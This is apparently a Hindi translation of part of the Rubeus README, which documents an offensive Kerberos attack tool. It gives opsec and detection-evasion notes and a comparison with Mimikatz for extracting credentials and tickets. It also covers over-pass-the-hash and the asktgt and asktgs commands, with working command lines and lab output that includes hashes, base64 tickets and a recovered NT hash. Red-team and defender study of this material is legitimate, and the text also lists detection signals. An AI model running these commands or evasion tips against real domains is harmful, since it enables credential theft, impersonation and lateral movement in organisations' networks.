Kirbi में नई DES सत्र कुंजी सम्मिलित करें:
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:सत्रकुंजी /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:फ़ाइलनाम] [/nowrap]
नोट: Base64 टिकट ब्लॉब को इस प्रकार डिकोड किया जा सकता है:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
यह अनुभाग किसी वातावरण में Rubeus के उपयोग की परिचालन सुरक्षा पर कुछ नोट्स शामिल करता है, जिसमें इसके कुछ दृष्टिकोणों की Mimikatz से तुलना/विपरीत करने वाले तकनीकी उदाहरण शामिल हैं। यहां सामग्री भविष्य में विस्तारित की जाएगी।
सिस्टम पर आप जो भी कार्रवाई करते हैं वह एक पता लगाने योग्य जोखिम है, विशेष रूप से "अजीब"/अनपेक्षित तरीकों से कार्यक्षमता का दुरुपयोग करते समय। Rubeus (किसी भी हमलावर टूलसेट की तरह) कई विधियों से पता लगाया जा सकता है, चाहे वह होस्ट, नेटवर्क या डोमेन के दृष्टिकोण से हो। मेरा एक सहकर्मी है जो कहता है "सब कुछ गुप्त है जब तक कोई इसकी तलाश न करे" - उपकरण और तकनीकें आम तौर पर पहचान से बच जाती हैं क्योंकि या तो a) लोग उपकरण/तकनीक के बारे में पर्याप्त रूप से जागरूक नहीं हैं और इसलिए देख भी नहीं रहे हैं, b) लोग आवश्यक पैमाने पर डेटा एकत्र और संसाधित नहीं कर सकते हैं, या c) उपकरण/तकनीक मौजूदा व्यवहार के साथ मिल जाती है ताकि वातावरण में झूठी सकारात्मकता के साथ पर्याप्त रूप से प्रवेश कर सके। इन कदमों और सामान्य रूप से पहचान को विफल करने के बारे में अधिक जानकारी Matt Graeber और Lee Christensen के Black Hat USA 2018 "Subverting Sysmon" टॉक और संबंधित श्वेतपत्र में उपलब्ध है।
होस्ट के दृष्टिकोण से, Rubeus को कोड के प्रारंभिक हथियारीकरण के दौरान, एक असामान्य (non-lsass.exe) प्रक्रिया द्वारा कच्चे Kerberos पोर्ट 88 ट्रैफ़िक जारी करने, LsaCallAuthenticationPackage() जैसी संवेदनशील API के उपयोग के माध्यम से, या होस्ट पर असामान्य टिकटों की उपस्थिति (जैसे आधुनिक वातावरण में टिकटों में rc4_hmac का उपयोग) के कारण पकड़ा जा सकता है।
नेटवर्क या डोमेन नियंत्रक लॉग के दृष्टिकोण से, चूंकि Rubeus सामान्य Kerberos प्रोटोकॉल के कई भागों को लागू करता है, मुख्य पहचान विधि में Kerberos आदान-प्रदान में rc4_hmac का उपयोग शामिल है। आधुनिक Windows डोमेन (कार्यात्मक स्तर 2008 और उससे ऊपर) सामान्य Kerberos आदान-प्रदान में डिफ़ॉल्ट रूप से AES एन्क्रिप्शन का उपयोग करते हैं (कुछ अपवादों जैसे अंतर-क्षेत्र विश्वास टिकटों को छोड़कर)। Kerberos आदान-प्रदान में aes256_cts_hmac_sha1 (या aes128) कुंजी के बजाय rc4_hmac (NTLM) हैश का उपयोग करने से कुछ संकेत मिलता है जो होस्ट स्तर, नेटवर्क स्तर (यदि Kerberos ट्रैफ़िक पार्स किया जाता है), और डोमेन नियंत्रक इवेंट लॉग स्तर पर पता लगाने योग्य है, जिसे कभी-कभी "एन्क्रिप्शन डाउनग्रेड" कहा जाता है।
हमले के उपकरणों का पता लगाने का एक सामान्य तरीका कोड के लिए हथियारीकरण वेक्टर है। यदि Rubeus PowerShell के माध्यम से चलाया जाता है (इसमें Empire शामिल है) तो मानक PowerShell V5 सुरक्षाएँ सभी लागू होती हैं (डीप स्क्रिप्ट ब्लॉक लॉगिंग, AMSI, आदि)। यदि Rubeus को डिस्क पर एक बाइनरी के रूप में निष्पादित किया जाता है, तो मानक AV हस्ताक्षर पहचान शुरू हो जाती है (यही कारण है कि हम Rubeus के संकलित संस्करण जारी नहीं करते हैं, क्योंकि भंगुर हस्ताक्षर मूर्खतापूर्ण हैं ; )। यदि Rubeus को लाइब्रेरी के रूप में उपयोग किया जाता है, तो यह प्राथमिक उपकरण द्वारा चलाने के लिए उपयोग की जाने वाली किसी भी विधि के प्रति संवेदनशील है। और यदि Rubeus को अप्रबंधित असेंबली निष्पादन (जैसे Cobalt Strike के execute_assembly) के माध्यम से चलाया जाता है, तो क्रॉस-प्रोसेस कोड इंजेक्शन किया जाता है और CLR को संभावित रूप से गैर-.NET प्रक्रिया में लोड किया जाता है, हालांकि यह संकेत इस विधि का उपयोग करके किसी भी .NET कोड के निष्पादन के लिए मौजूद है।
इसके अलावा, AMSI (एंटीमैलवेयर स्कैन इंटरफ़ेस) को .NET 4.8 में जोड़ा गया है। Ryan Cobb के पास इसके आक्रामक निहितार्थों के बारे में अतिरिक्त विवरण हैं, जो उनके "Entering a Covenant: .NET Command and Control" पोस्ट के रक्षा अनुभाग में हैं।
मान लीजिए हमारे पास एक मशीन पर उन्नत पहुंच है और हम पुन: उपयोग के लिए उपयोगकर्ता क्रेडेंशियल निकालना चाहते हैं।
Mimikatz क्रेडेंशियल निष्कर्षण का स्विस आर्मी चाकू है, जिसमें कई विकल्प हैं। sekurlsa::logonpasswords कमांड LSASS के लिए एक रीड हैंडल खोलेगा, सिस्टम पर मौजूद लॉगऑन सत्रों की गणना करेगा, प्रत्येक लॉगऑन सत्र के लिए डिफ़ॉल्ट प्रमाणीकरण पैकेजों पर चलेगा, और किसी भी प्रतिवर्ती पासवर्ड/क्रेडेंशियल सामग्री को निकालेगा। साइडनोट: sekurlsa::ekeys कमांड Kerberos पैकेज के लिए मौजूद सभी कुंजी प्रकारों की गणना करेगा।
Rubeus के पास LSASS को छूने वाला कोई कोड नहीं है (और कोई इरादा नहीं है), इसलिए इसकी कार्यक्षमता LsaCallAuthenticationPackage() API के उपयोग के माध्यम से Kerberos टिकट निकालने तक सीमित है। गैर-उन्नत दृष्टिकोण से, TGTs के सत्र कुंजियाँ डिफ़ॉल्ट रूप से वापस नहीं की जाती हैं, इसलिए केवल निकाले गए सेवा टिकट ही उपयोग करने योग्य होंगे (tgtdeleg कमांड वर्तमान उपयोगकर्ता के लिए एक उपयोग योग्य TGT प्राप्त करने के लिए एक Kekeo ट्रिक का उपयोग करता है)। यदि उच्च-अखंडता संदर्भ में है, तो टोकन डुप्लिकेशन का उपयोग करके एक GetSystem समतुल्य चलाया जाता है ताकि SYSTEM तक उन्नत किया जा सके, और LsaRegisterLogonProcess() API कॉल के साथ एक नकली लॉगऑन एप्लिकेशन पंजीकृत किया जाता है। यह सिस्टम पर LSA के साथ वर्तमान में पंजीकृत सभी टिकटों के विशेषाधिकार प्राप्त गणना और निष्कर्षण की अनुमति देता है, जिसके परिणामस्वरूप बाद में पुन: उपयोग के लिए बेस64 एन्कोडेड .kirbi आउटपुट होते हैं।
Mimikatz निम्नलिखित कमांड श्रृंखला के साथ समान बेस64 .kirbi निष्कर्षण कर सकता है:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz इसके साथ LSASS की मेमोरी से सीधे टिकट भी निकाल सकता है:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
जैसा कि "सब कुछ गुप्त है जब तक कोई इसकी तलाश न करे", यह बहस का विषय है कि LSASS हेरफेर या LsaCallAuthenticationPackage() API कॉल के माध्यम से टिकट निष्कर्षण अधिक "गुप्त" है या नहीं। Mimikatz की लोकप्रियता के कारण, LSASS के लिए हैंडल खोलना और उसकी मेमोरी पढ़ना/लिखना EDR डिटेक्शन और/या रोकथाम के लिए एक बड़ा लक्ष्य बन गया है। हालांकि, LsaCallAuthenticationPackage() का उपयोग काफी सीमित प्रक्रियाओं द्वारा किया जाता है, और LsaRegisterLogonProcess() के साथ एक नकली लॉगऑन एप्लिकेशन बनाना भी काफी असामान्य व्यवहार है। हालांकि, पूर्ण API स्तर की जांच और बेसलाइनिंग LSASS सुरक्षा की तुलना में अधिक कठिन तकनीकी समस्या प्रतीत होती है।
मान लीजिए हम किसी उपयोगकर्ता का rc4_hmac हैश (NTLM) प्राप्त करते हैं और इस क्रेडेंशियल का पुन: उपयोग करके एक अतिरिक्त मशीन से समझौता करना चाहते हैं जहाँ उपयोगकर्ता खाते के पास विशेषाधिकार प्राप्त पहुँच है।
साइडनोट: पास-द-हैश != ओवर-पास-द-हैश। पारंपरिक पास-द-हैश तकनीक में NTLMv1/NTLMv2 प्रोटोकॉल के माध्यम से हैश का पुन: उपयोग करना शामिल है, जो Kerberos को बिल्कुल भी नहीं छूता है। ओवर-पास-द-हैश दृष्टिकोण Benjamin Delpy और Skip Duckwall द्वारा विकसित किया गया था (अधिक जानकारी के लिए उनकी "Abusing Microsoft Kerberos - Sorry you guys don't get it" प्रस्तुति देखें)। यह दृष्टिकोण डोमेन-शामिल उपयोगकर्ता के लिए एक हैश/कुंजी (rc4_hmac, aes256_cts_hmac_sha1, आदि) को एक पूर्ण टिकट-ग्रांटिंग-टिकट (TGT) में बदल देता है।
आइए Mimikatz के sekurlsa::pth कमांड बनाम Rubeus (या यदि चाहें तो Kekeo) के asktgt कमांड का उपयोग करके "ओवर-पासिंग-द-हैश" की तुलना करें।
जब sekurlsa::pth का उपयोग ओवर-पास-द-हैश के लिए किया जाता है, तो Mimikatz पहले डमी क्रेडेंशियल्स के साथ एक नया लॉगॉन टाइप 9 प्रोसेस बनाता है - यह एक नया "बलिदान" लॉगऑन सत्र बनाता है जो वर्तमान लॉगऑन सत्र के साथ इंटरैक्ट नहीं करता है। फिर यह प्रोसेस मेमोरी में लिखने की क्षमता के साथ LSASS प्रक्रिया खोलता है, और आपूर्ति की गई हैश/कुंजी को संबंधित लॉगऑन सत्र (इस मामले में, जो "बलिदान" लॉगऑन सत्र शुरू किया गया था) के लिए उपयुक्त अनुभाग में पैच किया जाता है। इससे सामान्य Kerberos प्रमाणीकरण प्रक्रिया सामान्य रूप से शुरू हो जाती है जैसे कि उपयोगकर्ता सामान्य रूप से लॉग ऑन हुआ हो, आपूर्ति किए गए हैश को एक पूर्ण TGT में बदल देता है।
जब Rubeus का asktgt कमांड चलाया जाता है (या Kekeo का समतुल्य), तो कच्चे Kerberos प्रोटोकॉल का उपयोग TGT का अनुरोध करने के लिए किया जाता है, जिसे बाद में यदि /ptt फ़्लैग पास किया जाता है तो वर्तमान लॉगऑन सत्र पर लागू किया जाता है।
Mimikatz दृष्टिकोण के साथ, प्रशासनिक अधिकारों की आवश्यकता है क्योंकि आप सीधे LSASS मेमोरी में हेरफेर कर रहे हैं। जैसा कि पहले उल्लेख किया गया है, Mimikatz की लोकप्रियता ने इस प्रकार के व्यवहार (LSASS के लिए हैंडल खोलना और उसकी मेमोरी पढ़ना/लिखना) को EDR डिटेक्शन और/या रोकथाम के लिए एक बड़ा लक्ष्य बना दिया है। Rubeus/Kekeo दृष्टिकोण के साथ, प्रशासनिक अधिकारों की आवश्यकता नहीं है क्योंकि LSASS को नहीं छुआ जा रहा है। हालांकि, यदि टिकट को वर्तमान लॉगऑन सत्र पर लागू किया जाता है (/ptt के साथ), तो वर्तमान लॉगऑन सत्र का TGT अधिलेखित हो जाएगा। इस व्यवहार से (प्रशासनिक पहुँच के साथ) /createnetonly कमांड का उपयोग करके एक बलिदान प्रक्रिया/लॉगऑन सत्र बनाकर, फिर नव निर्मित प्रक्रिया LUID के साथ /ptt /ticket:X /luid:0xa.. का उपयोग करके बचा जा सकता है। यदि Cobalt Strike का उपयोग कर रहे हैं, तो डमी क्रेडेंशियल्स के साथ make_token कमांड और फिर Rubeus द्वारा प्राप्त टिकट के साथ kerberos_ticket_use का उपयोग करने से आप नए TGT को इस तरह से लागू कर सकते हैं कि a) प्रशासनिक अधिकारों की आवश्यकता नहीं है और b) वर्तमान लॉगऑन सत्र TGT को खराब नहीं करता है।
हमारी राय में, LSASS हेरफेर दृष्टिकोण के वर्तमान समय में तकनीक की लोकप्रियता के कारण पकड़े जाने या कम करने की अधिक संभावना है। हालांकि, Rubeus दृष्टिकोण के परिणामस्वरूप पता लगाने योग्य व्यवहार का एक और टुकड़ा होता है। पोर्ट 88 पर Kerberos ट्रैफ़िक सामान्य रूप से केवल lsass.exe से उत्पन्न होना चाहिए - एक असामान्य प्रक्रिया से इस प्रकार का कच्चा ट्रैफ़िक भेजना पता लगाने योग्य हो सकता है यदि जानकारी एकत्र की जा सके।
साइडनोट: एक तरीका जिससे दोनों दृष्टिकोण संभावित रूप से पकड़े जा सकते हैं, वह है पहले उल्लिखित "एन्क्रिप्शन डाउनग्रेड" डिटेक्शन। AES कुंजियाँ प्राप्त करने के लिए, सभी Kerberos एन्क्रिप्शन कुंजियाँ वापस करने के लिए Mimikatz के sekurlsa::ekeys मॉड्यूल का उपयोग करें (lsadump::dcsync के साथ भी), जो कुछ डिटेक्शन से बचने की कोशिश करते समय उपयोग करने के लिए बेहतर हैं।
टिकट अनुरोध कमांड का विवरण:
asktgt क्रिया निर्दिष्ट उपयोगकर्ता और एन्क्रिप्शन कुंजी (/rc4, /aes128, /aes256, या /des) के लिए कच्चे AS-REQ (TGT अनुरोध) ट्रैफ़िक का निर्माण करेगी। हैश के बजाय /password फ़्लैग का भी उपयोग किया जा सकता है - इस स्थिति में /enctype:X आदान-प्रदान के लिए डिफ़ॉल्ट रूप से RC4 होगा, विकल्प के रूप में des|aes128|aes256 उपलब्ध होगा। यदि कोई /domain निर्दिष्ट नहीं किया गया है, तो कंप्यूटर का वर्तमान डोमेन निकाला जाता है, और यदि कोई /dc निर्दिष्ट नहीं किया गया है, तो सिस्टम के वर्तमान डोमेन नियंत्रक के लिए भी ऐसा ही किया जाता है। यदि प्रमाणीकरण सफल होता है, तो परिणामी AS-REP को पार्स किया जाता है और KRB-CRED (एक .kirbi, जिसमें उपयोगकर्ता का TGT शामिल है) को बेस64 ब्लॉब के रूप में आउटपुट किया जाता है। /ptt फ़्लैग "पास-द-टिकट" करेगा और परिणामी Kerberos क्रेडेंशियल को वर्तमान लॉगऑन सत्र पर लागू करेगा। /luid:0xA.. फ़्लैग वर्तमान लॉगऑन सत्र के बजाय निर्दिष्ट लॉगऑन सत्र ID पर टिकट लागू करेगा (उन्नयन की आवश्यकता है)।
ध्यान दें कि होस्ट पर TGTs का अनुरोध करने या उन्हें वर्तमान लॉगऑन सत्र पर लागू करने के लिए किसी उन्नत विशेषाधिकार की आवश्यकता नहीं है, केवल लक्ष्य उपयोगकर्ता के लिए सही हैश की आवश्यकता है। इसके अलावा, एक और opsec नोट: वर्तमान लॉगऑन सत्र पर एक समय में केवल एक TGT लागू किया जा सकता है, इसलिए जब /ptt विकल्प का उपयोग करके नया टिकट लागू किया जाता है तो पिछला TGT मिटा दिया जाता है। एक काम का तरीका /createnetonly:C:\X.exe पैरामीटर का उपयोग करना है (जो प्रक्रिया को डिफ़ॉल्ट रूप से छिपाता है जब तक कि /show फ़्लैग निर्दिष्ट न किया गया हो), या टिकट का अनुरोध करके इसे ptt /luid:0xA.. के साथ किसी अन्य लॉगऑन सत्र पर लागू करना है।
डिफ़ॉल्ट रूप से, Rubeus द्वारा उत्पन्न AS-REQ और वास्तविक AS-REQ के बीच कई अंतर मौजूद हैं। AS-REQ को वास्तविक अनुरोधों के अनुरूप बनाने के लिए, /opsec फ़्लैग का उपयोग किया जा सकता है, यह पहले बिना प्री-ऑथेंटिकेशन के एक प्रारंभिक AS-REQ भेजेगा, यदि यह सफल होता है, तो परिणामी AS-REP को डिक्रिप्ट किया जाता है और TGT वापस किया जाता है, अन्यथा फिर प्री-ऑथेंटिकेशन के साथ एक AS-REQ भेजा जाता है। चूंकि यह फ़्लैग Rubeus ट्रैफ़िक को अधिक गुप्त बनाने के लिए है, यह डिफ़ॉल्ट रूप से aes256 के अलावा किसी अन्य एन्क्रिप्शन प्रकार के साथ उपयोग नहीं किया जा सकता है और यदि कोई अन्य एन्क्रिप्शन प्रकार उपयोग किया जाता है तो यह एक चेतावनी देगा और बाहर निकल जाएगा। /opsec परिवर्तनों के साथ अन्य एन्क्रिप्शन प्रकारों के उपयोग की अनुमति देने के लिए, /force फ़्लैग मौजूद है।PKINIT प्रमाणीकरण /certificate:X तर्क के साथ समर्थित है। जब PFX फ़ाइल के अंदर निजी कुंजी पासवर्ड से सुरक्षित होती है, तो यह पासवर्ड /password:X तर्क के साथ पास किया जा सकता है। PKINIT प्रमाणीकरण का उपयोग करते समय /getcredentials फ़्लैग का उपयोग स्वचालित रूप से U2U सेवा टिकट का अनुरोध करने और खाता NT हैश प्राप्त करने के लिए किया जा सकता है।
PAC के बिना TGT का अनुरोध /nopac स्विच का उपयोग करके किया जा सकता है।
KDC प्रॉक्सी (MS-KKDCP) का उपयोग करके अनुरोध करना /proxyurl:URL तर्क के साथ संभव है। KDC प्रॉक्सी का पूरा URL आवश्यक है, जैसे https://kdcproxy.exmaple.com/kdcproxy
/nopreauth फ़्लैग का उपयोग बिना प्री-ऑथेंटिकेशन के AS-REQ भेजने के लिए किया जा सकता है। /service:SPN तर्क का उपयोग सीधे AS-REQ के माध्यम से सेवा टिकट का अनुरोध करने के लिए किया जा सकता है, यह एक SPN या उपयोगकर्ता नाम लेगा।
[email protected] के लिए RC4 हैश के माध्यम से टिकट का अनुरोध करना, इसे वर्तमान लॉगऑन सत्र पर लागू करना:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
[email protected] के लिए aes256_hmac हैश के माध्यम से टिकट का अनुरोध करना, एक नई छिपी हुई प्रक्रिया शुरू करना और उस लॉगऑन सत्र पर टिकट लागू करना। ध्यान दें: एलिवेशन आवश्यक है!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
ध्यान दें कि /luid और /createnetonly पैरामीटर के लिए एलिवेशन आवश्यक है!
प्रमाणपत्र का उपयोग करके टिकट का अनुरोध करना और NT हैश प्राप्त करने के लिए /getcredentials का उपयोग करना:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
asktgs कार्रवाई निर्दिष्ट TGT /ticket:X का उपयोग करके एक कच्चे TGS-REQ/TGS-REP सेवा टिकट अनुरोध का निर्माण/पार्स करेगी। यह मान एक .kirbi फ़ाइल का base64 एन्कोडिंग या डिस्क पर .kirbi फ़ाइल का पथ हो सकता है। यदि /dc निर्दिष्ट नहीं है, तो कंप्यूटर का वर्तमान डोमेन कंट्रोलर निकाला जाता है और अनुरोध ट्रैफ़िक के गंतव्य के रूप में उपयोग किया जाता है। /ptt फ़्लैग "पास-द-टिकट" करेगा और परिणामी सेवा टिकट को वर्तमान लॉगऑन सत्र पर लागू करेगा। एक या अधिक /service:X SPN अवश्य निर्दिष्ट किए जाने चाहिए, अल्पविराम से अलग किए गए।
निर्मित TGS-REQ में समर्थित एन्क्रिप्शन प्रकार RC4_HMAC, AES128_CTS_HMAC_SHA1, और AES256_CTS_HMAC_SHA1 होंगे। इस मामले में, KDC द्वारा लौटाए गए सेवा टिकट के निर्माण के लिए उच्चतम पारस्परिक रूप से समर्थित एन्क्रिप्शन का उपयोग किया जाएगा। यदि आप DES, RC4, या AES128/256 कुंजियों को बलपूर्वक लागू करना चाहते हैं, तो /enctype:[RC4|AES128|AES256|DES] का उपयोग करें।
एक एंटरप्राइज़ प्रिंसिपल (यानी [email protected]) का उपयोग करके किसी खाते के लिए सेवा टिकट का अनुरोध करने के लिए, /enterprise फ़्लैग का उपयोग किया जा सकता है।
डिफ़ॉल्ट रूप से, Rubeus द्वारा उत्पन्न TGS-REQ और वास्तविक TGS-REQ के बीच कई अंतर मौजूद हैं। TGS-REQ को वास्तविक अनुरोधों के अनुरूप बनाने के लिए, /opsec फ़्लैग का उपयोग किया जा सकता है, यह एक अतिरिक्त TGS-REQ भी स्वचालित रूप से भेजेगा जब किसी खाते के लिए सेवा टिकट का अनुरोध किया जाता है जो अनियंत्रित प्रतिनिधिमंडल के लिए कॉन्फ़िगर किया गया है। चूंकि यह फ़्लैग Rubeus ट्रैफ़िक को अधिक गुप्त बनाने के लिए है, इसलिए इसे डिफ़ॉल्ट रूप से aes256 के अलावा किसी अन्य एन्क्रिप्शन प्रकार के साथ उपयोग नहीं किया जा सकता है और यदि कोई अन्य एन्क्रिप्शन प्रकार उपयोग किया जाता है तो यह केवल एक चेतावनी देगा और बाहर निकल जाएगा।
अन्य परिदृश्यों के साथ मैन्युअल रूप से खेलने के लिए, /tgs:X का उपयोग एक अतिरिक्त टिकट प्रदान करने के लिए किया जा सकता है जो अनुरोध निकाय में जोड़ा जाता है। यह प्रतिबंधित प्रतिनिधिमंडल KDC विकल्प के साथ-साथ दिए गए SPN /service:X से डोमेन को गतिशील रूप से निर्धारित करने से बचाता है, इस कारण से /targetdomain:X तर्क को अनुरोध को आपूर्ति किए गए डोमेन का उपयोग करने के लिए बाध्य करने के लिए लागू किया गया है जो किसी विदेशी डोमेन या सामान्य SPN वाले टिकटों से प्रतिनिधिमंडल सेवा टिकटों का अनुरोध करने के लिए उपयोगी है।
/u2u फ़्लैग को User-to-User टिकटों का अनुरोध करने के लिए लागू किया गया था। /tgs:X तर्क (लक्ष्य खातों का TGT प्रदान करने के लिए उपयोग किया जाता है) के साथ, /service:X तर्क उस खाते का उपयोगकर्ता नाम हो सकता है जिसके लिए आपूर्ति किया गया TGT है (/tgs:X तर्क के साथ)। /targetuser:X तर्क लक्ष्य उपयोगकर्ता के उपयोगकर्ता नाम के साथ PA-FOR-USER PA डेटा सेक्शन डालकर किसी भी अन्य खाते का PAC अनुरोध करेगा।
/printargs फ़्लैग उन तर्कों को प्रिंट करेगा जो PAC पठनीय होने पर समान PAC मानों के साथ टिकट जाली करने के लिए आवश्यक हैं। यह /servicekey:X तर्क प्रदान करके या ज्ञात सत्र कुंजी के साथ /u2u अनुरोध करके किया जा सकता है।
KDC प्रॉक्सी (MS-KKDCP) का उपयोग करके अनुरोध करना /proxyurl:URL तर्क के साथ संभव है। KDC प्रॉक्सी का पूरा URL आवश्यक है, जैसे https://kdcproxy.exmaple.com/kdcproxy
